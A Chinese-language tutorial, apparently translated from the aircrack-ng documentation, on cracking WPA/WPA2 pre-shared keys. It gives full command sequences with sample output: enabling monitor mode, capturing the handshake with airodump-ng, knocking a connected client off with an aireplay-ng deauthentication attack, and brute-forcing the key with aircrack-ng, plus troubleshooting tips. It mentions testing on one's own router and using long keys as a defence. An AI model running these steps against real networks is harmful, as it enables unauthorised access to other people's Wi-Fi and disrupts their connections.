简介
这篇文章介绍一下如何使用aircrack-ng破解采用预共享密钥(PSK)认证的WPA/WPA2网络。推荐读者先阅读一些关于WPA/WPA2的背景知识。可参见这里。或者这篇文章。点击此处可下载pdf文档。另外,这篇WPA包的捕捉将作为本档的补充文档。
WPA/WPA2支持多种类型的认证机制,包括预共享密钥。而aircrack-ng则只能破解WPA-PSK。所以在破解之前,应该使用airodump-ng命令确定网络的认证类型。如果是PSK类型的,再行破解。
破解WPA/WPA2和WEP也有很大的不同,不像在WEP中,有统计方法可以加速破解过程,在破解WPA/WPA2时,只有最平常的暴力破解。这是因为在WPA/WPA2中,密钥不是静态的,所以收集IVs并不会加速对密钥的破解过程。唯一对破解有帮助的事情是,当用户和接入点之间进行认证时所发送的数据包。当用户试图连接到接入点时,需要与之进行握手。又因为PSK的密钥可以是8至63字符的任意长度,就使得破解变得更加困难。
我们可以进行破解的WPA/WPA2网络,密钥大多是某个单词,或者非常短的字符数字组合。相反,如果我们想要防止自己的网络被破解,那么采用WPA/WPA2加密,且将密钥设置到63个字符(掺杂一些特殊符号),基本就可以了。
采用暴力破解方式的后果就是付出的时间代价非常大。因为破解过程涉及到大量的计算和比对,通常来讲笔记本每秒只能尝试大约50到300个密钥。很显然,这和电脑的计算能力有关。于是破解一次,就需要比对一个密钥词典几个小时,甚至几天。如果想尝试通过字符的排列和组合来构建密钥,可以先看一下这篇文章来了解需要多长时间。
注:
- 我们用来破解WPA/WPA2的密钥词典必须含有该网络的密钥,否则aircrack-ng是无法破解的
- 破解WPA和WPA2从理论上来说是没有什么区别的,因为两者的认证机制是相同的
- 建议读者使用自己家的路由器来进行实验,这样可以更容易地熟悉这些命令
前提
- 我们所用的网卡及驱动支持注入,可参见注入测试
- 距离接入点足够地近,以便我们能够发送和接收数据包。再一次强调,能接收到数据包不表示就一定能将数据包传到接入点(接入点的传送距离一般要比我们的网卡远)。可以通过下面的步骤来判断我们的网卡是否能和接入点进行通信。
- 保证自己使用的是aircrack-ng的较新版本(>0.9.1),如果没有,那么有些命令可能会有所不同。
确保自己满足以上所有的前提,然后再进行下面的操作。在下面的例子中,我们需要将”ath0”改为自己网卡的接口。
需要用的信息
在下面的例子中,所使用的各种信息罗列如下:
- 网卡的MAC地址:00:0F:B5:88:AC:82
- 接入点用户的MAC地址:00:0F:B5:FD:FB:C2
- 接入点的MAC地址(BSSID):00:14:6C:7E:40:80
- 网络名称(ESSID):teddy
- 接入点信道:9
- 无线接口:ath0
在我们自己尝试的时候,需要同样收集到相应的信息。然后在命令中做相应的替换。
破解步骤
概述
我们最主要的目标是WPA/WPA2认证握手包,收集到以后就可以使用aircrack-ng来破解了。获取认证包的方式有主动和被动两种方式。主动的意思是可以通过一定方式,加快我们获取认证包的过程;被动就是一直等待认证包的出现。被动也有一定的好处,就是我们不用注入功能就可以完成,因此Windows版本的aircrack-ng也可以进行。下面是一些基本的步骤:
- 将网卡在特定的信道设置为monitor模式
- 在该信道上使用airodump-ng获取特定BSSID的握手包
- 使用aireplay-ng来解除用户认证,加速握手包的收集
- 利用所得的握手包,通过aircrack-ng来破解出秘钥
步骤一:开启monitor模式
这一步的目的是将网卡置于monitor模式,monitor模式使得我们的网卡可以监听到所在范围内的所有数据包。正常情况下,我们的网卡只接受那些发送给我们的数据包。所以只有通过monitor模式,我们才有可能收集到接入点的握手包。而且,它也是我们进行解除认证攻击的前提(加速方法)。将网卡设定到monitor模式的具体方法,因我们所使用的驱动不同而不同。通过下面的命令,我们首先可以来查看驱动信息:
airmon-ng
对于Ralink,Atheros和Broadcom网卡,屏幕会出现:
Interface Chipset Driver
rausb0 Ralink RT73 rt73
wlan0 Broadcom b43 - [phy0]
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0)
- b43驱动后的【phy0】标签表示该驱动是mac80211驱动,注意mac80211驱动只支持>v1.0-rc1版本的aircrack-ng
- 两个Atheros网卡的驱动均是madwifi-ng,下面给出了将其设定为monitor模式的方法
- Ralink网卡不是mac80211,又不是madwifi-ng驱动的,所以它使用的是ieee80211驱动,参见常用方法将其设定为monitor模式
步骤一:1. 设定madwifi-ng驱动的网卡
首先,停掉ath0,输入命令:
airmon-ng stop ath0
屏幕会出现:
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)
然后输入iwconfig查看是否还有其他athX的接口,应该会出现类似下面的内容:
lo no wireless extensions.
eth0 no wireless extensions.
wifi0 no wireless extensions.
如果显示还有其他的athX接口的话,我们需要将它们都停掉(airmon-ng stop athX)。然后,再一次用iwconfig命令确认自己已经停掉所有的athX接口。最后,我们将网卡设定到信道9上的monitor模式:
airmon-ng start wifi0 9
注:在这个命令中,我们使用了wifi0而不是ath0接口,这是因为我们使用的是madwifi-ng驱动。
屏幕会显示:
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
注意到,此时ath0已经被设定成了monitor模式。同样,可以使用iwconfig命令来验证,屏幕会显示:
lo no wireless extensions.
wifi0 no wireless extensions.
eth0 no wireless extensions.
ath0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
从上面的信息中,我们可以看到ath0确实已经处在monitor模式了。它的工作频率为2.452GHz,信道为9,接入点项(Access Point)表示的是我们网卡的MAC地址(前面已经说过,只有在madwifi-ng驱动下才会有这一项)。建议在进行下面的操作之前,都像这样检查一下,看看是否有异常。
步骤一:2. 设定mac80211驱动的网卡
不像madwifi-ng那样,使用mac80211驱动时,我们不需要移除wlan0接口了。直接可使用下面的命令:
airmon-ng start wlan0 9
屏幕显示:
Interface Chipset Driver
wlan0 Broadcom b43 - [phy0]
(monitor mode enabled on mon0)
可以看到,airmon-ng为我们创建了一个monitor模式的mon0接口。所以,在后续的命令中,我们都要使用这个接口来进行各种操作。此时,wlan0仍然在managed模式,并且能够正常使用。只要wlan0所连接入点的信道和目标接入点的信道相同,且我们没有进行信道跳跃的操作。
同样,为了验证,输入iwconfig命令:
lo no wireless extensions.
eth0 no wireless extensions.
wmaster0 no wireless extensions.
wlan0 IEEE 802.11bg ESSID:""
Mode:Managed Frequency:2.452 GHz Access Point: Not-Associated
Tx-Power=0 dBm
Retry min limit:7 RTS thr:off Fragment thr=2352 B
Encryption key:off
Power Management:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
mon0 IEEE 802.11bg Mode:Monitor Frequency:2.452 GHz Tx-Power=0 dBm
Retry min limit:7 RTS thr:off Fragment thr=2352 B
Encryption key:off
Power Management:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
这里,可以看到mon0已经被设定为monitor模式了。它的工作频率为2。2.452GHz。因为不是madwifi-ng驱动,所以也没有Accesss Point这一项。同样可以看到,wlan0仍然存在,处在managed模式上。这时,因为两个接口的频率是一样的,所以它们的信道也必须相同,改变其中一个信道会导致另一个的信道也改变。
步骤一:3. 设定其他驱动的网卡
对于其他驱动(基于ieee80211)的网卡,只需输入下面的命令即可(将rausb0替换为我们自己的接口名):
airmon-ng start rausb0 9
屏幕会显示:
Interface Chipset Driver
rausb0 Ralink rt73 (monitor mode enabled)
这时,接口就应该可以使用了。
步骤二:使用airodump-ng收集认证握手包
这一步的目的是捕捉接入点的握手包,输入命令:
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0
其中:
- -c 9 表示网络所在的信道
- –bssid 00:14:6C:7E:40:80 表示接入点的MAC地址
- -w psk 表示我们用来存放IVs文件名前缀
- ath0 表示接口名
注意:不要使用–ivs参数,因为我们需要收集完整的包。当一个用户连接到接入点被捕获到认证包时,会显示下面的内容:
CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:6C:7E:40:80 39 100 51 116 14 9 54 WPA2 CCMP PSK teddy
BSSID STATION PWR Lost Packets Probes
00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 0 116
上面的信息中,我们应该注意到右上角的”WPA handshake: 00:14:6C:7E:40:80”,这表明airodump-ng已经成功捕获了一个认证包。下面显示的是没有用户连接时的信息:
CH 9 ][ Elapsed: 4 s ][ 2007-03-24 17:51
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:6C:7E:40:80 39 100 51 0 0 9 54 WPA2 CCMP PSK teddy
BSSID STATION PWR Lost Packets Probes
常见问题及解决方法
可以参见文章末尾总结的常见问题。
如果想知道我们是否已经捕捉到了握手包,有两种方式。第一种,如上所述,通过观察显示内容右上角的信息。第二种,使用Wireshark,通过eapol过滤,这样就可以得到。
步骤三:使用aireplay-ng对用户进行解除认证攻击
这一步是可选的,如上所述,是为了加快捕捉握手包的过程。如果足够耐心的话,我们可以一直等到某个用户连接网络时捕捉握手包。很显然,采用这样的方式需要已经有用户连接上了接入点,我们通过断开它的连接,迫使其重新认证,如此捕捉认证包。
我们需要一个已经连接到该网络的用户的MAC地址,输入命令:
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0
其中:
- -0表示解除认证攻击
- 1表示发送出的解除认证包(数量可选)
- -a 00:14:6C:7E:40:80接入点的MAC地址
- -c 00:0F:B5:FD:FB:C2与接入点连接用户的MAC地址
- ath0 表示接口名称
屏幕会显示:
11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]
注意:因为需要我们的PC直接发送数据包给接入点接收,所以还是要保证我们与接入点的距离足够的近。我们也可以使用tcpdump命令,来尝试获取用户的ACK包,以此验证用户是否已经收到解除包的干扰。
步骤四:使用aircrack-ng破解秘钥
这一步的目的当然就是通过所得的认证包破解秘钥。要完成这一步,我们必须要有一个秘钥词典。然后,aircrack-ng通过尝试词典中的每一个词,来试图破解秘钥。
在aircrack-ng源码中的test文件夹中,有一个小的词典”password.lst”。Wiki FAQ里有拓展的词典。我们也可也通过使用John the Ripper来生成自己词典,然后通过aircrack
-ng使用它。打开另外一个终端,输入命令:
aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap
其中:
- -w password.lst表示词典文件,如果文件不在运行路径中,则需要完整路径
- *.cap是我们刚刚捕捉的含有认证包的文件,使用了通配符来包含所有文件
当没有握手包时,会这样输出:
Opening psk-01.cap
Opening psk-02.cap
Opening psk-03.cap
Opening psk-04.cap
Read 1827 packets.
No valid WPA handshakes found.
这时,我们必须返回步骤三,重新获取握手包。
当找到握手包时,会这样输出:
Opening psk-01.cap
Opening psk-02.cap
Opening psk-03.cap
Opening psk-04.cap
Read 1827 packets.
# BSSID ESSID Encryption
1 00:14:6C:7E:40:80 teddy WPA (1 handshake)
Choosing first network as target.
这时,aircrack-ng已经开始尝试破解秘钥了。这个过程所花费的时间因密码难度,PC计算能力而异。成功时,会这样输出:
Aircrack-ng 0.8
[00:00:00] 2 keys tested (37.20 k/s)
KEY FOUND! [ 12345678 ]
Master Key : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E
B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD
Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98
CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40
FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E
2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71
EAPOL HMAC : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB
常见问题及解决方法
捕捉不到握手包
握手包的捕捉是一个很艰难也很有意思的过程,需要我们自己不断尝试。出现问题时,一般可以从如下方面进行检查:
- 我们网卡的传输标准要和接入点以及客户端相同。举例来说,如果我们网卡的是b,而接入点和客户端的是g,那么我们就不能捕捉到握手包。特别是对于一些比较新的接入点,因为它们可能使用了turbo或者其他新的标准。有些驱动支持我们指定标准,有时候iwconfig命令可能也有用,它有一个modulation参数,可以查询一下使用方法。最后,1,2,5.5,11MBit表示的是b,而6,9,12,18,24,36,48,54表示的是g
- 有时候会需要将网卡设定到相同的传输速率,IE auto,1MB,2MB,11MB,54MB等
- 保证自己用来捕捉的网卡被锁定到和接入点相同的信道。可以通过使用airodump-ng命令时加上参数-c< channel of AP >来达到目的
- 保证系统上没有运行connection manager,它可能在你不知情的情况下改变网卡的模式或者所处信道
- 保证自己离接入点和用户都比较近
- 相反,我们也不能离得太近,太近可能会导致包被丢弃
- 尽可能使用wiki上推荐的驱动,有些驱动不能捕捉所有的数据包
- 如果可能手动断开和连接来产生握手包
- 如果使用解除认证方法,尽量使用少一些的数据包来断开用户的连接。正常一个包就可以了。过多的包可能导致用户无法再次连接到接入点,因此就不会再产生握手包。而且,要使用定向的而非广播的包来进行解除认证攻击。如果我们没有得到ACK包,就表明用户并没有接收到攻击包。
- 试着停止在客户端站的无线电台,然后重新启动它
- 保证自己没有运行其他可能产生影响的程序,如connection manager,Kismet等等
- 用这篇指导来检查一下捕捉的数据包,看看能不能找到问题。例如,缺失了AP包,缺失了客户端包等等